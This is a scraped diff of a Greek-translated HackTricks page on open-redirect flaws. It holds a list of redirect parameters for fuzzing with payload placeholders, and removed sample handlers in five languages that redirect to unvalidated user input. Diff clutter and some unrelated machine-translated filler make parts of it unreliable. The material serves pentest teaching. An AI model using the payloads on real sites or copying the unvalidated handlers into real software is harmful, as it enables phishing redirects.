Η ανοικτή ανακατεύθυνση (open redirect) είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να ανακατευθύνει τον χρήστη από μια ιστοσελίδα σε μια άλλη, χρησιμοποιώντας μια ευπάθεια στην υλοποίηση των ανακατευθύνσεων. Μια από τις μεθόδους που μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτήν την ευπάθεια είναι η αποστολή αρχείων svg.
|
|
||||||
|
|
||||||
Οι αρχεία svg είναι αρχεία διανυσματικής γραφικής που χρησιμοποιούνται για να περιγράψουν γραφικά σχήματα και εικόνες. Ωστόσο, μπορούν επίσης να περιέχουν κώδικα JavaScript. Αυτό μπορεί να είναι επικίνδυνο, καθώς ο κακόβουλος κώδικας μπορεί να εκτελεστεί όταν το αρχείο svg φορτώνεται από μια ιστοσελίδα.
|
|
||||||
|
|
||||||
Ένας επιτιθέμενος μπορεί να αξιοποιήσει αυτήν την ευπάθεια αποστέλλοντας ένα αρχείο svg που περιέχει κακόβουλο κώδικα σε μια ιστοσελίδα που έχει μια ευπάθεια ανοικτής ανακατεύθυνσης. Όταν ο χρήστης επισκέπτεται αυτήν την ιστοσελίδα και το αρχείο svg φορτώνεται, ο κακόβουλος κώδικας μπορεί να ανακατευθύνει τον χρήστη σε μια κακόβουλη ιστοσελίδα ή να παρακολουθήσει τις ενέργειές του.
|
|
||||||
|
|
||||||
Για να προστατευθείτε από αυτήν την ευπάθεια, είναι σημαντικό να ελέγχετε προσεκτικά τις ανακατευθύνσεις στην ιστοσελίδα σας και να μην εμπιστεύεστε απροσεξίες στην υλοποίηση τους. Επίσης, πρέπει να είστε προσεκτικοί με την αποδοχή αρχείων svg από ανεπιθύμητες πηγές ή από άγνωστες ιστοσελίδες.
|
|
||||||
```markup
|
```markup
|
||||||
<code>
|
<code>
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
@ -80,21 +78,7 @@ xmlns="http://www.w3.org/2000/svg">
|
||||||
</svg>
|
</svg>
|
||||||
</code>
|
</code>
|
||||||
```
|
```
|
||||||
# Κοινοί παράμετροι εισαγωγής
|
## Κοινοί παράμετροι ενέργειας
|
||||||
|
|
||||||
When performing web application penetration testing, it is important to be aware of common injection parameters that can be exploited. These parameters are often used in various parts of a web application, such as URLs, form fields, cookies, and headers. By injecting malicious code into these parameters, an attacker can manipulate the behavior of the application and potentially gain unauthorized access or perform other malicious actions.
|
|
||||||
|
|
||||||
Here are some common injection parameters to look out for:
|
|
||||||
|
|
||||||
- **URL parameters**: These are the parameters that are appended to the end of a URL, typically after a question mark (?). Attackers can manipulate these parameters to execute arbitrary code or perform other actions.
|
|
||||||
|
|
||||||
- **Form fields**: Web applications often use forms to collect user input. Attackers can inject malicious code into form fields, which can then be executed by the application.
|
|
||||||
|
|
||||||
- **Cookies**: Cookies are used to store information about a user's session. Attackers can manipulate the values of cookies to gain unauthorized access or perform other malicious actions.
|
|
||||||
|
|
||||||
- **Headers**: HTTP headers contain additional information about a request or response. Attackers can manipulate header values to exploit vulnerabilities in the application.
|
|
||||||
|
|
||||||
It is important to thoroughly test these injection parameters during a penetration test to identify and mitigate any potential vulnerabilities.
|
|
||||||
```
|
```
|
||||||
/{payload}
|
/{payload}
|
||||||
?next={payload}
|
?next={payload}
|
||||||
|
@ -169,119 +153,17 @@ RedirectUrl=https://c1h2e1.github.io
|
||||||
Redirect=https://c1h2e1.github.io
|
Redirect=https://c1h2e1.github.io
|
||||||
ReturnUrl=https://c1h2e1.github.io
|
ReturnUrl=https://c1h2e1.github.io
|
||||||
```
|
```
|
||||||
```csharp
|
## Παραδείγματα κώδικα
|
||||||
using System;
|
|
||||||
using System.Web;
|
|
||||||
|
|
||||||
namespace OpenRedirect
|
#### .Net
|
||||||
{
|
|
||||||
public partial class Redirect : System.Web.UI.Page
|
|
||||||
{
|
|
||||||
protected void Page_Load(object sender, EventArgs e)
|
|
||||||
{
|
|
||||||
string redirectUrl = Request.QueryString["url"];
|
|
||||||
if (!string.IsNullOrEmpty(redirectUrl))
|
|
||||||
{
|
|
||||||
Response.Redirect(redirectUrl);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Java
|
|
||||||
|
|
||||||
```java
|
|
||||||
import java.io.IOException;
|
|
||||||
import javax.servlet.ServletException;
|
|
||||||
import javax.servlet.http.HttpServlet;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
|
|
||||||
public class RedirectServlet extends HttpServlet {
|
|
||||||
protected void doGet(HttpServletRequest request, HttpServletResponse response)
|
|
||||||
throws ServletException, IOException {
|
|
||||||
String redirectUrl = request.getParameter("url");
|
|
||||||
if (redirectUrl != null && !redirectUrl.isEmpty()) {
|
|
||||||
response.sendRedirect(redirectUrl);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### PHP
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
if (isset($_GET['url'])) {
|
|
||||||
$redirectUrl = $_GET['url'];
|
|
||||||
header("Location: $redirectUrl");
|
|
||||||
exit();
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
### Python
|
|
||||||
|
|
||||||
```python
|
|
||||||
from flask import Flask, redirect, request
|
|
||||||
|
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
@app.route('/redirect')
|
|
||||||
def redirect_url():
|
|
||||||
redirect_url = request.args.get('url')
|
|
||||||
if redirect_url:
|
|
||||||
return redirect(redirect_url)
|
|
||||||
else:
|
|
||||||
return 'No redirect URL provided.'
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
app.run()
|
|
||||||
```
|
|
||||||
|
|
||||||
### Ruby
|
|
||||||
|
|
||||||
```ruby
|
|
||||||
require 'sinatra'
|
|
||||||
|
|
||||||
get '/redirect' do
|
|
||||||
redirect_url = params[:url]
|
|
||||||
if redirect_url
|
|
||||||
redirect redirect_url
|
|
||||||
else
|
|
||||||
'No redirect URL provided.'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||||
```
|
```
|
||||||
### Java
|
#### Java
|
||||||
|
|
||||||
Η Java είναι μια αντικειμενοστραφής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών. Έχει σχεδιαστεί να είναι ανεξάρτητη πλατφόρμας, πράγμα που σημαίνει ότι μπορεί να τρέξει σε διάφορες πλατφόρμες χωρίς να απαιτείται ανακατασκευή του κώδικα. Η Java χρησιμοποιείται ευρέως για την ανάπτυξη web εφαρμογών, κινητών εφαρμογών, ενσωματωμένων συστημάτων και πολλών άλλων εφαρμογών.
|
|
||||||
|
|
||||||
Μερικά από τα βασικά χαρακτηριστικά της Java περιλαμβάνουν:
|
|
||||||
|
|
||||||
- Ανεξαρτησία πλατφόρμας: Ο κώδικας Java μπορεί να τρέξει σε οποιαδήποτε πλατφόρμα που υποστηρίζει την εικονική μηχανή Java (JVM).
|
|
||||||
- Ασφάλεια: Η Java παρέχει μηχανισμούς ασφαλείας για την προστασία των εφαρμογών από επιθέσεις.
|
|
||||||
- Απλότητα: Η Java έχει σχεδιαστεί με έμφαση στην απλότητα και την ευκολία χρήσης.
|
|
||||||
- Αποδοτικότητα: Η Java χρησιμοποιεί έναν συλλέκτη σκουπιδιών για τη διαχείριση της μνήμης, προσφέροντας έτσι αποδοτική διαχείριση της μνήμης.
|
|
||||||
- Ευελιξία: Η Java παρέχει πολλές βιβλιοθήκες και εργαλεία που επιτρέπουν την ευέλικτη ανάπτυξη εφαρμογών.
|
|
||||||
|
|
||||||
Η Java έχει γίνει μια από τις πιο δημοφιλείς γλώσσες προγραμματισμού λόγω της ευκολίας χρήσης, της ανεξαρτησίας πλατφόρμας και της ασφάλειας που προσφέρει. Είναι ιδανική για αρχάριους προγραμματιστές και επίσης χρησιμοποιείται ευρέως από επαγγελματίες προγραμματιστές για την ανάπτυξη πολύπλοκων εφαρμογών.
|
|
||||||
```bash
|
```bash
|
||||||
response.redirect("http://mysafedomain.com");
|
response.redirect("http://mysafedomain.com");
|
||||||
```
|
```
|
||||||
### PHP
|
#### PHP
|
||||||
|
|
||||||
Η PHP είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη δυναμικών ιστοσελίδων. Ωστόσο, η ανεπαρκής ασφάλεια στην υλοποίηση της PHP μπορεί να οδηγήσει σε ευπάθειες ασφαλείας, όπως ανοικτές ανακατευθύνσεις.
|
|
||||||
|
|
||||||
Οι ανοικτές ανακατευθύνσεις είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να ανακατευθύνει τον χρήστη σε μια διαφορετική ιστοσελίδα ή URL. Αυτό μπορεί να οδηγήσει σε επιθέσεις phishing, όπου ο επιτιθέμενος προσποιείται ότι η ανακατεύθυνση προέρχεται από ένα αξιόπιστο πηγαίο σημείο.
|
|
||||||
|
|
||||||
Για να εκμεταλλευτείτε μια ανοικτή ανακατεύθυνση, μπορείτε να προσπαθήσετε να τροποποιήσετε τον παράμετρο ανακατεύθυνσης σε μια κακόβουλη τοποθεσία. Επίσης, μπορείτε να εκμεταλλευτείτε την ανεπαρκή επαλήθευση του πηγαίου σημείου για να προσποιηθείτε ότι η ανακατεύθυνση προέρχεται από ένα αξιόπιστο πηγαίο σημείο.
|
|
||||||
|
|
||||||
Για να προστατευτείτε από ανοικτές ανακατευθύνσεις, πρέπει να ελέγξετε την εγκυρότητα των παραμέτρων ανακατεύθυνσης και να επιβεβαιώσετε ότι η ανακατεύθυνση προέρχεται από έναν αξιόπιστο πηγαίο σημείο. Επίσης, πρέπει να χρησιμοποιήσετε λειτουργίες ανακατεύθυνσης που είναι ασφαλείς και να αποφεύγετε τη χρήση απευθείας εισόδου από τον χρήστη.
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
/* browser redirections*/
|
/* browser redirections*/
|
||||||
|
@ -289,28 +171,27 @@ header("Location: http://mysafedomain.com");
|
||||||
exit;
|
exit;
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
# Εργαλεία
|
## Εργαλεία
|
||||||
|
|
||||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||||
|
|
||||||
# Πόροι
|
## Πόροι
|
||||||
|
|
||||||
* Στο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) μπορείτε να βρείτε λίστες fuzzing.\
|
* Στο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) μπορείτε να βρείτε λίστες fuzzing.\\
|
||||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
|
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue